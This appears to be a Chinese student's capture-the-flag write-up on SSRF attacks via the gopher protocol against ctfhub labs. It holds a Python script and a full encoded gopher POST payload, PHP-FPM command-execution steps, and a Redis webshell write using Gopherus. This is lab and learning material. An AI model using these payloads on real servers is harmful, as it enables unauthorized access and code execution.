gopher协议
什么是gopher协议呢?
Gopher是Internet上一个非常有名的信息查找系统。在WWW出现之前,Gopher是Internet上最主要的信息检索工具。但在www出现后,Gopher就没落了。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
这个协议在各个语言的限制
gopher协议的格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher协议默认的是tcp70端口。
ip后第一个字符在gopher不解析,所以用_来占位。
如果发送post请求,需要两次编码,第一次编码后将回车换行的%0A替换为%0D%0A,替换后再进行编码。如果有多个参数,则参数之间的&也进行url编码。
练习题目:ctfhub中的POST
我们使用file协议来读取index.php文件的源码。index.php在当前目录下
url=file:///var/www/html/index.php
能够查看到源码
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。
curl_exec($ch); //执行
curl_close($ch);
curl_exec()函数可执行我们输入的参数。
我们用file协议读取flag.php,查看到flag.php的源码
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
上面代码要求我们只能在本地访问,那我们就访问127.0.0.1/flag.php。查看源代码可以看见key。
则我们需要将key值post传参。因为上面代码要求在127.0.0.1中post传参key值,所以我们不能直接post传,需要搭配gopher协议传key。
我们构造一个post包,改host为127.0.0.1,并直接访问flag.php。
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=050a8579908e458e32497b1e96b08a28
对这个post数据包进行url编码。
手动复制替换太麻烦,直接白嫖大佬脚本,不得不说,真香~
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=f0535a8b684c730542e243507c5246d9
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
得出结果后还需要再url编码一次。
最终payload:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=f0535a8b684c730542e243507c5246d9%250d%250a
抓包打入,得出flag。
上述脚本会把'/'和':'等字符也进行url编码。注意自己构造的post数据包的Content-Length的长度。
FastCGI协议
先说说什么是cgi。
全称"通用网关接口",它主要用于http服务器与其他机器上的应用程序之间通讯的工具,因为http服务器只能解析静态请求和静态程序。当遇到动态程序需要交给解析器来解析,cgi协议就是http服务器与解析器间的接口。
再来说说cgi的缺点(也是与fastcgi的差异)
传统cgi接口方式主要缺点是性能较差,每次http服务器遇到动态程序时都需要重启解析器来执行解析。然后把结果返回给服务器,但这种方式不能处理高并发访问。所以就诞生了fsatcgi协议
什么是fastcgi协议
fastcgi是一个可伸缩的高速的http服务器与动态脚本语言间通信的接口。主要优点就是把动态语言与http服务器分开。当http服务器每次遇到动态程序时,可以将该程序直接交付给fastcgi进程执行。然后得到的结果直接返回给客户端。这种方式可以让http服务器专一的处理静态请求,或者只是将动态请求处理结果返回给游览器,这很大程度上减少了http服务器的工作量,提高了性能。
说到这里,可能还是不太理解,接下来说说工作原理。
游览器访问静态页面过程中:中间件会查找改网站的目录文件,并发送给游览器。
游览器访问动态页面时:由于中间件不能处理动态请求,它只能先把请求做一些简单处理,然后把它交给相应解析器。
那么上图中的FPM又是什么呢
它是FastCGI进程管理器,说白了就是fastcgi解析器。用于替换php fastcgi大部分附加功能,对于高负载网站是非常有效的。并且提供了进程管理的功能。
攻击原理
举个例子,当我们访问http://127.0.0.1/index.php?a=1&b=2,当前web目录是var/www/html,那么Nginx会把这个请求处理为key-value键值对。
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
并把它传给php-FPM进行处理。这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。就比如这个,FPM就知道要访问index.php这个文件了。
PHP-FPM非授权访问漏洞
php-fpm默认监听9000端口。如果这个端口暴露在公网上,则我们可以构造fastcgi协议与fpm进行通讯。比如我们可以改SCRIPT-FILENAME为etc/passwd等。可以达到任意文件执行的效果。但是在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions
选项,他会限定一些后缀的文件的访问,它默认是php后缀的文件。
我们还可以任意代码执行
想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。php.ini有两个配置,auto_prepend_file
和auto_append_file
。
auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件
我们可以设置auto_prepend_file为php://input,(还需要开启远程文件包含allow_url_include=on
)在执行任意php文件时都要包含一遍post传入的内容。我们把待执行的命令放在fastcgi协议中的body部分就可以执行任意命令了。
参考链接:SSRF--gopher协议打FastCGI_Z3eyOnd的博客-CSDN博客_fastcgi协议
参考链接:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌
练个题目(ctfhub中的ssrf)
在这里就用gopherus工具来打一下,这种最方便。
用kali打开该工具(kali中没有该工具的,先在本地下载,然后拖进kali中)
进入到gopherus文件夹输入命令。
选择一个指定的php文件,上面有讲。然后执行ls /查看根目录文件。得到的gopher数据进行url编码一次,(附上编码网站:https://www.iamwawa.cn/urldecode.html)
得到一个flag文件。
再使用相同的操作将flag文件读取出来。
最终得出flag。
Redis协议
redis是什么?
全称远程字典服务。它是一个基于内存实现的键值型非关系(NoSQL)数据库。
Redis 默认情况下,会绑定在 ip地址:6379。如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
因为是初学,在此就利用简单介绍gopherus工具打redis。(主要就会这一种)
利用ctfhub上的题目
还是一样,利用gopherus工具来生成gopher协议。
先写一个shell.php名,然后指定web目录。最后写入shell
生成的gopher协议再url编码一次。打了会出现502超时。不过不要紧,我们访问一下web目录下的shell.php。
因为我们传了一句话木马,所以我们用蚁剑连接。在根目录找到flag。
相关链接:SSRF---gopher和dict打redis_Z3eyOnd的博客-CSDN博客_gopher redis
相关链接 :https://www.cnblogs.com/linuxsec/articles/11221756.html
结语
因为是初学,这三个协议了解的非常浅。ssrf漏洞是比较综合的漏洞,想要深入了解还需要费些时间。最近在应对考试,没有过多时间投入。之后深入学习后再通过例题进行总结。